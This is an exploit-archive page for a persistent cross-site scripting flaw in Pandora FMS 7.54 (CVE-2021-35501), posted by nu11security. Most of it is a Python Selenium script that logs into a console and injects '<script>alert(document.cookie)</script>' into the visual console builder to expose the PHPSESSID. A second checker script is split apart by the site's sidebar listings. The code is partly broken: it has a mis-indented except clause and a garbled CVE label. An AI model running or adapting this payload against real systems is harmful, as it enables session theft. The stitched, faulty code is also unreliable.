

Pandora FMS 7.54 Cross Site Scripting

Authored by [nu11security](#)

Posted Jul 12, 2021

Pandora FMS versions 7.54 and below suffer from a persistent cross site scripting vulnerability. This entry has been updated on 2021/07/23 with a fully automated version of the exploit.

tags | [exploit\\_xss](#)  
advisories | [CVE-2021-35501](#)

SHA-256 | [e75ede29d2db34274ca7f88965ac59c8b998641434d14fc01906dab37a2fd3e1](#) [Download](#) | [Favorite](#) | [View](#)

Related Files

Share This

Like [Twitter](#) [LinkedIn](#) [Reddit](#) [Digg](#) [StumbleUpon](#)

Change Mirror

[Download](#)

```
# Exploit Title: XSS vulnerability for (keywords) searching parameter in pandorafms-754 get PHPSESSID PWNEED
# Author: @nullsecurity
# Testing and Debugging: @nullsecurity
# Date: 07.12.2021
# Vendor: https://pandorafms.com/
# Link:
https://sourceforge.net/projects/pandora/files/Pandora%20FMS%207.0NG/754/PandoraFMS7.0NG.754.x86_64.iso/download
# CVE: CVE-2021-3550-PHPSESSID
# Proof: https://github.com/nullsecurity/CVE-mitre/blob/main/CVE-2021-35501/PHPSESSID/docs/PHPSESSID.gif
# Proof PHPSESSID PWNEED: https://streamable.com/e0cd4w

[+] Exploit Source:

### Exploit

#!/usr/bin/python3
# Author: @nullsecurity
# Debug: nullsecurity
# CVE-2021-35501-PHPSESSID

from selenium import webdriver
import time
from selenium.webdriver.support.ui import Select
import os, sys
import numpy as np
import cv2
import pyautogui

# Vendor: https://pandorafms.com/
website_link="http://192.168.1.157/pandora_console/index.php"

# enter your login username
username="nullsecurity"

# enter your login password
password="password"

#enter the element for username input field
element_for_username="nick"

#enter the element for password input field
element_for_password="pass"

#enter the element for submit button
element_for_submit="login_button"

#browser = webdriver.Safari() #for macOs users[for others use chrome via chromedriver]
browser = webdriver.Chrome() #uncomment this line,for chrome users
#browser = webdriver.Firefox() #uncomment this line,for chrome users

time.sleep(1)
browser.get((website_link))

try:
    username_element = browser.find_element_by_name(element_for_username)
    username_element.send_keys(username)

    password_element = browser.find_element_by_name(element_for_password)
    password_element.send_keys(password)

    signInButton = browser.find_element_by_name(element_for_submit)
    signInButton.click()

    # Exploit Pandora FMS 754
    # Payload
    browser.get(("http://192.168.1.157/pandora_console/index.php?sec=network&sec2=godmode/reporting/visual_console_builder"))

    time.sleep(1)
    browser.execute_script("document.querySelector('[name=\"%name%\"]').value = '<script>alert(document.cookie)</script>'")

    # Select Applications or whatever -)
    kurac="selection"

    browser.find_elements_by_class_name(kurac)[0].click()
    time.sleep(3)
    browser.find_elements_by_class_name("select2-results__option")[1].click()

    # Click to save the payload
    browser.execute_script("document.querySelector('[name=\"%update_layout%\"]').click()")
    time.sleep(3)
    os.system("python check_PoC.py")
    browser.close()

    # take screenshot using pyautogui
    image = pyautogui.screenshot()

    # PIL(pillow) and in RGB we need to
    # convert it to numpy array and BGR
    image = cv2.cvtColor(np.array(image),cv2.COLOR_RGB2BGR)

    # writing it to the disk using opencv
    cv2.imwrite("PHPSESSID.png", image)

    print("The payload is deployed, your visual console is PWNEED...\n")
    print("You can see the PHPSESSID on the screenshot picture, game over. :D")

    except Exception: # as error:
        #### This exception occurs if the element are not found in the webpage.
        print("Sorry, but something is not ok")
        # print(error)

-----

### Check

#!/usr/bin/python3
# Author: @nullsecurity
# CVE-2021-35501-PHPSESSID

from selenium import webdriver
import time

# Vendor: https://pandorafms.com/
website_link="
```

[Follow us on Twitter](#)

[Subscribe to an RSS Feed](#)

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr
Sa					
				1	2
3					
4	5	6	7	8	9
10					
11	12	13	14	15	16
17					
18	19	20	21	22	23
24					
25	26	27	28	29	30
31					

Top Authors In Last 30 Days

Red Hat 157 files
Ubuntu 76 files
LiquidWorm 23 files
Debian 21 files
nu11security 11 files
malvuln 11 files
Gentoo 9 files
Google Security Research 8 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)	December 2022
Advisory (79,754)	November 2022
Arbitrary (15,694)	October 2022
BBS (2,859)	September 2022
Bypass (1,619)	August 2022
CGI (1,018)	July 2022
Code Execution (8,926)	June 2022
Conference (673)	May 2022
Cracker (840)	April 2022
CSRF (3,290)	March 2022
DoS (22,602)	February 2022
Encryption (2,349)	January 2022
Exploit (50,359)	Older
File Inclusion (4,165)	

File Upload (946)

Firewall (821)	AIX (426)
Info Disclosure (2,660)	Apple (1,926)
Intrusion Detection (867)	BSD (370)
Java (2,899)	CentOS (55)
JavaScript (821)	Cisco (1,917)
Kernel (6,291)	Debian (6,634)
Local (14,201)	Fedora (1,690)
Magazine (586)	FreeBSD (1,242)
Overflow (12,419)	Gentoo (4,272)
Perl (1,418)	HPUX (878)
PHP (5,093)	IOS (330)
Proof of Concept (2,291)	iPhone (108)
Protocol (3,435)	IRIX (220)
Python (1,467)	Juniper (67)
Remote (30,044)	Linux (44,315)
Root (3,504)	Mac OS X (684)
Ruby (594)	Mandriva (3,105)
Scanner (1,631)	NetBSD (255)
Security Tool (7,777)	OpenBSD (479)
Shell (3,103)	RedHat (12,469)
Shellcode (1,204)	Slackware (941)
Sniffer (886)	Solaris (1,607)

Systems

```
http://192.168.1.157/pandora_console/index.php?sec=network&sec2=godmode/reporting/map_builder
"

# enter your login username
username="nullsecurity"

# enter your login password
password="password"

#enter the element for username input field
element_for_username="nick"

#enter the element for password input field
element_for_password="pass"

#enter the element for submit button
element_for_submit="login_button"

#browser = webdriver.Safari() #for macOS users[for others use chrome via
chromedriver]
browser = webdriver.Chrome() #uncomment this line,for chrome users
#browser = webdriver.Firefox() #uncomment this line,for chrome users


time.sleep(1)
browser.get((website_link))

try:
    username_element = browser.find_element_by_name(element_for_username)
    username_element.send_keys(username)


    password_element = browser.find_element_by_name(element_for_password)
    password_element.send_keys(password)

    signInButton = browser.find_element_by_name(element_for_submit)
    signInButton.click()
except Exception:
    ##### This exception occurs if the element are not found in the webpage.
    print("Sorry, but something is not ok")
```

Spoof (2,166)	SUSE (1,444)
SQL Injection (16,102)	Ubuntu (8,199)
TCP (2,379)	UNIX (9,159)
Trojan (686)	UnixWare (185)
UDP (876)	Windows (6,511)
Virus (662)	Other
Vulnerability (31,136)	
Web (9,365)	
Whitepaper (3,729)	
x86 (946)	
XSS (17,494)	
Other	



[Login](#) or [Register](#) to add favorites



Site Links


- News by Month
- News Tags
- Files by Month
- File Tags
- File Directory


About Us

- History & Purpose
- Contact Information
- Terms of Service
- Privacy Statement
- Copyright Information

Hosting By

Rokasec

 Follow us on Twitter

 Subscribe to an RSS Feed